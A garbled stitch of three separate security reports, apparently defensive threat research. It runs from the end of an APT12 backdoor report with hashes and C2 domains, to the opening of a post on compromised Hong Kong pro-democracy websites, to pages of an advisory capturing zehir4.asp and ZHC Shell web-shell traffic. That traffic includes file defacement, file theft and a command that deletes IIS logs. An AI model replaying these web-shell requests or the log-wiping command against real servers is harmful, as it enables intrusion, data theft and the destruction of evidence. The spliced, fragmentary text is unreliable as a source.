+to a technology company located in Taiwan. This spear phish contained a malicious Word document that +exploited CVE-2012-0158. The MD5 of the exploit document was e009b95ff7b69cbbebc538b2c5728b11. +Similar to the newly discovered HIGHTIDE samples documented above, this malicious document dropped +a backdoor to C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe. This +backdoor had the following properties: +16e627dbe730488b1c3d448bfc9096e2 +Size +75776 bytes +Complie 2014-08-25 01:22:20 +Time +Import dcfaa2650d29ec1bd88e262d11d3236f +Hash +This backdoor sent the following callback traffic to video[.]csmcpr[.]com: +Figure 5: THREEBYTE GET Request Beacon +The THREEBYTE spear phishing incident (while not yet attributed) shared the following characteristics +with the above HIGHTIDE campaign attributed to APT12: +The THREEBYTE backdoor was compiled two days after the HIGHTIDE backdoors. +Both the THREEBYTE and HIGHTIDE backdoors were used in attacks targeting organizations in +Taiwan. +Both the THREEBYTE and HIGHTIDE backdoors were written to the same filepath of +C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe. +APT12 has previously used the THREEBYTE backdoor. +WATERSPOUT Malware Family +On August 25, 2014, we observed another round of spear phishing emails targeting a high-technology +company in Japan. Attached to this email was another malicious document that was designed to exploit +CVE-2012-0158. This malicious Word document had an MD5 of 499bec15ac83f2c8998f03917b63652e +and dropped a backdoor to C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe. +The backdoor had the following properties: +f9cfda6062a8ac9e332186a7ec0e706a +Size +49152 bytes +Complie 2014-08-25 02:10:11 +Time +Import 864cd776c24a3c653fd89899ca32fe0b +Hash +The backdoor connects to a command and control server at icc[.]ignorelist[.]com. +Similar to RIPTIDE and HIGHTIDE, the WATERSPOUT backdoor is an HTTP-based backdoor that +communicates with its C2 server. +GET //<5 digit number>/<4 character string>.php?_id=<43 character string>= HTTP/1.1 +Accept: image/jpeg, application/x-ms-application, image/gif, +application/xaml+xml, image/pjpeg, application/x-ms-xbap, */* +User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; +Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET +CLR 3.0.30729; .NET4.0C; .NET4.0E) +Host: +Cache-Control: no-cache +Figure 6: Sample GET request for WATERSPOUT backdoor +Although there are no current infrastructure ties to link this backdoor to APT12, there are several data +points that show a possible tie to the same actors: +Same initial delivery method (spear phishing email) with a Microsoft Word Document exploiting +CVE-2012-0158. +The same +Tran Duy Linh + Microsoft Word Exploit Kit was used in delivery of this backdoor. +Similar Targets were observed where the threat actors utilized this backdoor. +Japanese Tech Company +Taiwanese Government Organizations +Organizations in the Asia-Pacific Region that are of Interest to China +The WATERSPOUT backdoor was written to the same file path as the HIGHTIDE backdoors: +C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe +C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\winword.exe +WATERSPOUT was compiled within two days of the last HIGHTIDE backdoor and on the same day +as the THREEBYTE backdoor. +Although these points do not definitively tie WATERSPOUT to APT12, they do indicate a possible +connection between the WATERSPOUT campaign, the THREEBYTE campaign, and the HIGHTIDE +campaign attributed to APT12. +Conclusion +FireEye believes the change from RIPTIDE to HIGHTIDE represents a temporary tool shift to decrease +malware detection while APT12 developed a completely new malware toolset. These development efforts +may have resulted in the emergence of the WATERSPOUT backdoor. +Figure 7: Compile dates for all three malware families +APT12 +s adaptations to public disclosures lead FireEye to make several conclusions about this threat +group: +APT12 closely monitors online media related to its tools and operations and reacts when its tools are +publicly disclosed. +APT12 has the ability to adapt quickly to public exposures with new tools, tactics, and procedures +(TTPs). +Public disclosures may result in an immediate change in APT12 +s tools. These changes may be +temporary and FireEye believes they are aimed at decreasing detection of their tools until a more +permanent and effective TTP change can be implemented (e.g., WATERSPOUT). +Though public disclosures resulted in APT12 adaptations, FireEye observed only a brief pause in APT12 +activity before the threat actors returned to normal activity levels. Similarly, the public disclosure of +APT12 +s intrusion at the New York Times also led to only a brief pause in the threat group +s activity and +immediate changes in TTPs. The pause and retooling by APT12 was covered in the Mandiant 2014 MTrends report. Currently, APT12 continues to target organizations and conduct cyber operations using its +new tools. Most recently, FireEye observed HIGHTIDE at multiple Taiwan-based organizations and the +suspected APT12 WATERSPOUT backdoor at a Japan-based electronics company. We expect that APT12 +will continue their trend and evolve and change its tactics to stay ahead of network defenders. +Note: IOCs for this campaign can be found here. +This entry was posted in Botnets, Targeted Attack, Threat Intelligence, Threat Research and tagged +advanced malware, advanced persistent threat, advanced targeted attack, advanced threat actor, APT12, +Targeted Attack by Ned Moran, Mike Oppenheim, Sarah Engle and Richard Wartell. Bookmark the +permalink. +Democracy in Hong Kong Under Attack +Posted on October 9, 2014 by Steven Adair +Over the last few months, Volexity has been tracking a particularly remarkable advanced persistent threat (APT) operation +involving strategic web compromises of websites in Hong Kong and Japan. In both countries, the compromised websites have been +particularly notable for their relevance to current events and the high profile nature of the organizations involved. In particular the +Hong Kong compromises appear to come on the heels of the Occupy Central Campaign shifting into high gear. These +compromises were discovered following the identification of malicious JavaScript that had been added to legitimate code on the +impacted websites. This code meant that visitors were potentially subjected to exploit and malicious Java Applets designed to install +malware on their systems. While investigating these cases, Volexity also discovered additional APT attack campaigns involving +multiple other pro-democratic websites in Hong Kong. These attempts at exploitation, compromise, and digital surveillance are +detailed throughout this post. +Compromised Pro-Democratic Hong Kong Websites +Warning: Many of these websites may still be compromised and present a risk to visitors. Browse with caution. +Alliance for True Democracy + Hong Kong +Over the last two days, Volexity has observed malicious code being served up from the website of the Alliance for True Democracy +(ATD) in Hong Kong (www.atd.hk). ATD is an alliance of people and organizations dedicated to democracy and universal suffrage +in Hong Kong. At the time of this writing malicious code is still live on the website, so please visit with care until the website is +clean. Below is a screen shot of the malicious code references found pre-pended to a JavaScript file on the website named +superfish.js. +This JavaScript file is called from other parts of the website and effectively nests the loading of additional JavaScript written and +interpeted as: + + + +System Test +GET /zehir4.asp?mevla=1&status=40 HTTP/1.1 +Accept: */* +Accept-Language: en-us +Accept-Encoding: gzip, deflate +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET +CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) +Host: 192.168.1.1 +Connection: Keep-Alive +Cookie: ASPSESSIONIDSSCDSDDD=JIKFODEDDBNCNBBCNLEIDBNF +---- RESPONSE ---HTTP/1.1 200 OK +Server: Microsoft-IIS/5.1 +Date: Sun, 23 Feb 2014 05:11:56 GMT +X-Powered-By: ASP.NET +Content-Length: 1284 +Content-Type: text/html +Cache-control: private +zehir3 --> powered by zehir <zehirhacker@hotmail.com>
KonumSonu.
C:\yazma yetkisi yok! : +[Object required]
Local Path yazma yetkisi yok! : +[Object required]
Local Path
Parent Folder		Folder : 5
File : 0
Local Path
P.Parent +Folder		Folder : 11
File : 10
+ + + +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1012 +Page 16 of 57 +Rev1.1 2014-02-23 +OPERATION STTEAM +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +SQL Server +GET /zehir4.asp?mevla=1&status=15 HTTP/1.1 +Accept: */* +Accept-Language: en-us +Accept-Encoding: gzip, deflate +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET +CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) +Host: 192.168.1.1 +Connection: Keep-Alive +Cookie: ASPSESSIONIDSSCDSDDD=JIKFODEDDBNCNBBCNLEIDBNF +---- RESPONSE ---HTTP/1.1 200 OK +Server: Microsoft-IIS/5.1 +Date: Sun, 23 Feb 2014 05:18:07 GMT +X-Powered-By: ASP.NET +Content-Length: 1169 +Content-Type: text/html +Cache-control: private +zehir3 --> powered by zehir <zehirhacker@hotmail.com>
SQL Server i.in connection string +giriniz

+ + + +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1012 +Page 17 of 57 +Rev1.1 2014-02-23 +OPERATION STTEAM +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +Network traffic observed when the following fake connection string is written in the box and the button +is pressed: +Server=myServerName\myInstanceName;Database=myDataBase;User +Id=myUsername; +Password=myPassword; +/zehir4.asp?status=7&Time=12%3A18%3A07+AM&path=Server%3DmyServerName%5CmyInsta +nceName%3BDatabase%3DmyDataBase%3BUser+Id%3DmyUsername%3B&submit1=SQL+Serv +era+Ba%F0lan HTTP/1.1 +Accept: */* +Referer: http://192.168.1.1/zehir4.asp?mevla=1&status=15 +Accept-Language: en-us +Accept-Encoding: gzip, deflate +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET +CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) +Host: 192.168.1.1 +Connection: Keep-Alive +Cookie: ASPSESSIONIDSSCDSDDD=JIKFODEDDBNCNBBCNLEIDBNF +A file named +TEST_FILE.txt + is open for edit +/zehir4.asp?status=10&dPath=C:\Inetpub\wwwroot\TEST_FILE.txt&path=c:\inetpub\wwwroot\&Ti +me=10:26:25%20AM HTTP/1.1 +Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, +application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, +application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, +application/msword, */* +Referer: http://192.168.1.1/zehir4.asp +Accept-Language: en-us +Accept-Encoding: gzip, deflate +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET +CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) +Host: 192.168.1.1 +Connection: Keep-Alive +Cookie: ASPSESSIONIDQQQDQQRR=NNJJONABAFAKHJEDJMMCNDBI +---- RESPONSE ---HTTP/1.1 200 OK +Server: Microsoft-IIS/5.1 +Date: Mon, 24 Feb 2014 15:26:52 GMT +X-Powered-By: ASP.NET +Content-Length: 3901 +Content-Type: text/html +Cache-control: private +zehir3 --> powered by zehir <zehirhacker@hotmail.com> +
+System +Info + | +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1012 +Page 18 of 57 +Rev1.1 2014-02-23 +OPERATION STTEAM +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +System +Test + | +Sites Test + | +Folder Action + | +SQL +Server + | +POWERED +BY +---------------------------------------- TRUNCATED BY ANALYST ------------------------------------------------- +
Path :


+.
S.r.c.ler
;Floppy +[A:]
;HardDisk [C:]
;CD-Rom +[D:]
H +Local Path

+When the following data is added to the +TEST_FILE.txt + file opened for edit: +Hacked by STTEAM +POST /zehir4.asp?Time=11:19:52%20AM HTTP/1.1 +Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, +application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, +application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, +application/msword, */* +Referer: +http://192.168.1.1/zehir4.asp?status=10&dPath=C:\Inetpub\wwwroot\TEST_FILE.txt&path=c:\inetp +ub\wwwroot\&Time=11:19:41 AM +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1012 +Page 19 of 57 +Rev1.1 2014-02-23 +OPERATION STTEAM +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +Accept-Language: en-us +Content-Type: application/x-www-form-urlencoded +Accept-Encoding: gzip, deflate +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET +CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) +Host: 192.168.1.1 +Content-Length: 175 +Connection: Keep-Alive +Cache-Control: no-cache +Cookie: ASPSESSIONIDCSDRBCRC=OJOLKHLBCKEJIMJFNOHPPGKM +---- RESPONSE ---HTTP/1.1 100 Continue +Server: Microsoft-IIS/5.1 +Date: Mon, 24 Feb 2014 16:20:07 GMT +X-Powered-By: ASP.NET +status=11&dPath=C%3A%5CInetpub%5Cwwwroot%5CTEST_FILE.txt&Path=c%3A%5Cinetpub% +5Cwwwroot%5C&dkayit=THIS+IS+THE+CONTENT+OF+THE+%22TEST_FILE.TXT%22.%0D%0 +A%0D%0AHacked+by+STTEAM%21 +A file named +TEST_FILE.txt + is open for edit +/zehir4.asp?status=3&Path=c:\inetpub\wwwroot\&Del=c:\inetpub\wwwroot\/TEST_FILE.txt&Time=11:19:41%2 +0AM HTTP/1.1 +Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-msapplication, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.msexcel, application/vnd.ms-powerpoint, application/msword, */* +Referer: http://192.168.1.1/zehir4.asp +Accept-Language: en-us +Accept-Encoding: gzip, deflate +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR +3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) +Host: 192.168.1.1 +Connection: Keep-Alive +Cookie: ASPSESSIONIDCSDRBCRC=OJOLKHLBCKEJIMJFNOHPPGKM +---- RESPONSE ---HTTP/1.1 302 Object moved +Server: Microsoft-IIS/5.1 +Date: Mon, 24 Feb 2014 16:26:10 GMT +X-Powered-By: ASP.NET +Location: +zehir4.asp?status=2&path=c:\inetpub\wwwroot\&Time=11:26:10%20AM&byMsg=File% +20Deleted%20Successful;)
+Content-Length: 121 +Content-Type: text/html +Cache-control: private +Object moved +

Object Moved

This object may be found here. +---- REQUEST ---GET +/zehir4.asp?status=2&path=c:\inetpub\wwwroot\&Time=11:26:10%20AM&byMsg=File +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1012 +Page 20 of 57 +Rev1.1 2014-02-23 +OPERATION STTEAM +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +%20Deleted%20Successful;)
HTTP/1.1 +Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-msapplication, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.msexcel, application/vnd.ms-powerpoint, application/msword, */* +Referer: http://192.168.1.1/zehir4.asp +Accept-Language: en-us +Accept-Encoding: gzip, deflate +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR +3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) +Host: 192.168.1.1 +Connection: Keep-Alive +Cookie: ASPSESSIONIDCSDRBCRC=OJOLKHLBCKEJIMJFNOHPPGKM +---- RESPONSE ---HTTP/1.1 200 OK +Server: Microsoft-IIS/5.1 +Date: Mon, 24 Feb 2014 16:26:10 GMT +X-Powered-By: ASP.NET +Content-Length: 13634 +Content-Type: text/html +Cache-control: private +File Deleted Successful;)
zehir3 --> powered by zehir +<zehirhacker@hotmail.com> +---------------------------------------- TRUNCATED BY ANALYST --------------------------------------------------- +K-Shell/ZHC Shell 1.0/Aspx Shell Backdoor: ZHC_Shell_1.0.aspx +Backdoor script is first accessed +GET /ZHC_Shell_1.0.aspx HTTP/1.1 +Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, +application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, +application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, +application/msword, */* +Accept-Language: en-us +Accept-Encoding: gzip, deflate +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET +CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) +Host: 192.168.1.1 +Connection: Keep-Alive +---- RESPONSE ---- +HTTP/1.1 200 OK +Server: Microsoft-IIS/5.1 +Date: Mon, 24 Feb 2014 16:47:52 GMT +X-Powered-By: ASP.NET +X-AspNet-Version: 2.0.50727 +Cache-Control: private +Content-Type: text/html; charset=utf-8 +Content-Length: 3387 +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1012 +Page 21 of 57 +Rev1.1 2014-02-23 +OPERATION STTEAM +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 + + +


+

+
+ + + +Aspx Shell By XXx_Death_xXX & ZHC + + +
+
+ + + +
+ +

[ Command Prompt ]

+

(Note: Please CLICK "RUN" in order to execute the +command)

+Command: + +
+

+
+. +
+

+ +

ZHC Shell 1.0 • 2011
+By XXx_Death_xXX Of ZCompany Hacking Crew • zone-hack.com #ZHC

 + + +---- REQUEST ---POST /ZHC_Shell_1.0.aspx?action=cmd3 HTTP/1.1 +Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, +application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, +application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, +application/msword, */* +Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx?action=cmd3 +Accept-Language: en-us +Content-Type: application/x-www-form-urlencoded +Accept-Encoding: gzip, deflate +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET +CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1012 +Page 47 of 57 +Rev1.1 2014-02-23 +OPERATION STTEAM +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +Host: 192.168.1.1 +Content-Length: 408 +Connection: Keep-Alive +Cache-Control: no-cache +Cookie: ASP.NET_SessionId=fqcod255iety0a55x3acuaqe +__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTEzODY2ODE5 +NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGFkGAEFHl9fQ29udHJv +bHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYDBQdOZXdGaWxlBQxOZXdEaXJlY3RvcnkFDE5ld0Rpcm +VjdG9yeVsWlNx5Na0HFMN2RRO%2BceR1t%2BaS&cmd3=del+C%3A%5CWINDOWS%5Csyst +em32%5CLogFiles%5CW3SVC1%5C*.log&Button12345=Run&__EVENTVALIDATION=%2FwE +WAwLrm6SaCAKzmb3RBgKQ2MH4A3%2BQhRm9X8qGmlKZOcwCozua3cwJ +Edit + option selected to modify the contents of a file +Filename: TEST_FILE.TXT +Data added: +Hacked by STTEAM! +GET /ZHC_Shell_1.0.aspx?action=edit&src=c%3a%5cinetpub%5cwwwroot%5cTEST_FILE.TXT +HTTP/1.1 +Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, +application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, +application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, +application/msword, */* +Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx +Accept-Language: en-us +Accept-Encoding: gzip, deflate +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET +CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) +Host: 192.168.1.1 +Connection: Keep-Alive +Cookie: ASP.NET_SessionId=fqcod255iety0a55x3acuaqe +---- RESPONSE ---HTTP/1.1 200 OK +Server: Microsoft-IIS/5.1 +Date: Mon, 24 Feb 2014 21:09:48 GMT +X-Powered-By: ASP.NET +X-AspNet-Version: 2.0.50727 +Cache-Control: private +Content-Type: text/html; charset=utf-8 +Content-Length: 3555 +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1012 +Page 48 of 57 +Rev1.1 2014-02-23 +OPERATION STTEAM +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 + + +


+

+
+ + + +Aspx Shell By XXx_Death_xXX & ZHC + + +
+
+Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1012 +Page 49 of 57 +Rev1.1 2014-02-23 +OPERATION STTEAM +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 + + + +
+ + + + + + + + + + + + + + +
Path + +*
Content
+
+
+. +

+ +

ZHC Shell 1.0 • 2011
+Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1012 +Page 50 of 57 +Rev1.1 2014-02-23 +OPERATION STTEAM +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +By XXx_Death_xXX Of ZCompany Hacking Crew • zone-hack.com #ZHC

 + + +---- REQUEST ---POST /ZHC_Shell_1.0.aspx?action=edit&src=c%3a%5cinetpub%5cwwwroot%5cTEST_FILE.TXT +HTTP/1.1 +Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, +application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, +application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, +application/msword, */* +Referer: +http://192.168.1.1/ZHC_Shell_1.0.aspx?action=edit&src=c%3a%5cinetpub%5cwwwroot%5cTEST +_FILE.TXT +Accept-Language: en-us +Content-Type: multipart/form-data; boundary=---------------------------7de26c3b270192 +Accept-Encoding: gzip, deflate +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET +CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) +Host: 192.168.1.1 +Content-Length: 1096 +Connection: Keep-Alive +Cache-Control: no-cache +Cookie: ASP.NET_SessionId=fqcod255iety0a55x3acuaqe +---------------------------------------- TRUNCATED BY ANALYST ------------------------------------------------------------------------------7de26c3b270192 +Content-Disposition: form-data; name="__EVENTTARGET" +-----------------------------7de26c3b270192 +Content-Disposition: form-data; name="__EVENTARGUMENT" +-----------------------------7de26c3b270192 +Content-Disposition: form-data; name="__VIEWSTATE" +/wEPDwULLTEzODY2ODE5NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLW +RhdGFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYDBQdOZXdGaWxlBQxOZXd +EaXJlY3RvcnkFDE5ld0RpcmVjdG9yeVsWlNx5Na0HFMN2RRO+ceR1t+aS +-----------------------------7de26c3b270192 +Content-Disposition: form-data; name="filepath" +c:\inetpub\wwwroot\TEST_FILE.TXT +-----------------------------7de26c3b270192 +Content-Disposition: form-data; name="content" +DATA IN "TEST_FILE.TXT". +Hacked by STTEAM! +-----------------------------7de26c3b270192 +Content-Disposition: form-data; name="a" +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1012 +Page 51 of 57 +Rev1.1 2014-02-23 +OPERATION STTEAM +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +Sumbit +-----------------------------7de26c3b270192 +Content-Disposition: form-data; name="__EVENTVALIDATION" +/wEWBALrm6SaCAKwgsKBDALW4bf/BAK/76ruDDFHkmmcWzwDRZCn6yFg1uYyRvu7 +-----------------------------7de26c3b270192----- RESPONSE ---HTTP/1.1 200 OK +Server: Microsoft-IIS/5.1 +Date: Mon, 24 Feb 2014 21:09:59 GMT +X-Powered-By: ASP.NET +X-AspNet-Version: 2.0.50727 +Cache-Control: private +Content-Type: text/html; charset=utf-8 +Content-Length: 3749 + + + +


+

+---------------------------------------- TRUNCATED BY ANALYST ------------------------------------------------- + +Aspx Shell By XXx_Death_xXX & ZHC + + +
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+ +

ZHC Shell 1.0 • 2011
+By XXx_Death_xXX Of ZCompany Hacking Crew • zone-hack.com #ZHC

 + +---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- +The following window was displayed during this operation: +File Downloaded + from Victim system into the attacker +s system +Filename: +TEST_FILE.txt +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1012 +Page 53 of 57 +Rev1.1 2014-02-23 +OPERATION STTEAM +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +/ZHC_Shell_1.0.aspx?action=down&src=c%3a%5cinetpub%5cwwwroot%5cTEST_FILE.TXT +HTTP/1.1 +Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, +application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, +application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, +application/msword, */* +Referer: +http://192.168.1.1/ZHC_Shell_1.0.aspx?action=goto&src=c%3a%5cinetpub%5cwwwroot%5c +Accept-Language: en-us +Accept-Encoding: gzip, deflate +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET +CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) +Host: 192.168.1.1 +Connection: Keep-Alive +Cookie: ASP.NET_SessionId=fqcod255iety0a55x3acuaqe +---- RESPONSE ---HTTP/1.1 200 OK +Server: Microsoft-IIS/5.1 +Date: Mon, 24 Feb 2014 21:23:24 GMT +X-Powered-By: ASP.NET +X-AspNet-Version: 2.0.50727 +Content-Disposition: attachment; filename=TEST_FILE.TXT +Content-Length: 45 +Cache-Control: private +Content-Type: application/octet-stream; charset=UTF-8 +DATA IN "TEST_FILE.TXT". +Hacked by STTEAM! +The following window was displayed during this operation: + option selected to delete a file +Filename: TEST_FILE.txt +GET /ZHC_Shell_1.0.aspx?action=del&src=c%3a%5cinetpub%5cwwwroot%5cTEST_FILE.TXT +HTTP/1.1 +Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, +application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, +application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, +application/msword, */* +Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx +Accept-Language: en-us +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1012 +Page 54 of 57 +Rev1.1 2014-02-23 +OPERATION STTEAM +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +Accept-Encoding: gzip, deflate +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET +CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) +Host: 192.168.1.1 +Connection: Keep-Alive +Cookie: ASP.NET_SessionId=fqcod255iety0a55x3acuaqe +---- RESPONSE ---HTTP/1.1 200 OK +Server: Microsoft-IIS/5.1 +Date: Mon, 24 Feb 2014 21:29:11 GMT +X-Powered-By: ASP.NET +X-AspNet-Version: 2.0.50727 +Cache-Control: private +Content-Type: text/html; charset=utf-8 +Content-Length: 1920 + + +


+

+---------------------------------------- TRUNCATED BY ANALYST ------------------------------------------------- + +Aspx Shell By XXx_Death_xXX & ZHC + + + +

+ +

ZHC Shell 1.0 • 2011
+By XXx_Death_xXX Of ZCompany Hacking Crew • zone-hack.com #ZHC

 + + +---- REQUEST ---GET /ZHC_Shell_1.0.aspx?action=goto&src=c%3a%5cinetpub%5cwwwroot%5c HTTP/1.1 +Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, +application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, +application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, +application/msword, */* +Accept-Language: en-us +Accept-Encoding: gzip, deflate +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET +CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1012 +Page 55 of 57 +Rev1.1 2014-02-23 +OPERATION STTEAM +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +Host: 192.168.1.1 +Connection: Keep-Alive +Cookie: ASP.NET_SessionId=fqcod255iety0a55x3acuaqe +The following window was displayed during this operation: +Reminder for network defenders +The +K-Shell / ZHC Shell 1.0 / Aspx Shell + backdoor links two images. If the script was at some point +running in the network, the following GET request will most likely be present in forensic logs: +GET /img851/2304/bismillahus.jpg HTTP/1.1 +Accept: */* +Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx +Accept-Language: en-us +Accept-Encoding: gzip, deflate +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET +CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) +Host: img851.imageshack.us +Connection: Keep-Alive +----------------------------------------------------------------------------------------------------------------------------------GET /hphotos-ak-snc6/262108_109964339097628_100002521874736_97359_1521760_n.jpg +HTTP/1.1 +Accept: */* +Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx +Accept-Language: en-us +Accept-Encoding: gzip, deflate +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET +CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) +Host: a6.sphotos.ak.fbcdn.net +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1012 +Page 56 of 57 +Rev1.1 2014-02-23 +OPERATION STTEAM +www.fidelissecurity.com +www.threatgeek.com 